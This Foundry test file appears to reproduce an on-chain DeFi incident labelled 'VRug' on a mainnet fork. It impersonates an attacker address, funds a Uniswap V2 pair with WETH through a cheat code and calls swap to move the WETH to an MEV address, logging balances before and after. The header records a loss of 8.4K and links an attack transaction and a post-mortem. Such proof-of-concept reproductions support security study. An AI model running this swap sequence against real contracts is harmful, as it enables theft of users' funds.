src/test/2024-11/VRug_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 8.4K
7// Attacker : 
8// Attack Contract : 
9// Vulnerable Contract : 
10// Attack Tx : https://etherscan.io/tx/0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae
11 
12// @Info
13// Vulnerable Contract Code : 
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1854702463737380958
17// Twitter Guy : https://x.com/TenArmorAlert/status/1854702463737380958
18// Hacking God : N/A
19 
20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant attacker = 0x080086911D8c78008800FAE75871a657b77d0082;
22address constant mev = 0x0000E0Ca771e21bD00057F54A68C30D400000000;
23address constant univ2 = 0x8Cc0c46000A6a4097F9C62293CE62eE5B81E6dfd;
24 
25contract ContractTest is Test {
26    function setUp() public {
27        vm.createSelectFork("mainnet", 21138659);
28    }
29    
30    function testPoC() public {
31        vm.startPrank(attacker, attacker);
32        deal(weth9, address(univ2), 3208323423502347412);
33        emit log_named_decimal_uint("before attack: balance of mev", IERC20(weth9).balanceOf(mev), 18);
34        IUniswapV2Pair(univ2).swap(2903872687851807969, 0, address(mev), "");
35        emit log_named_decimal_uint("after attack: balance of mev", IERC20(weth9).balanceOf(mev), 18);
36        vm.stopPrank();
37    }
38}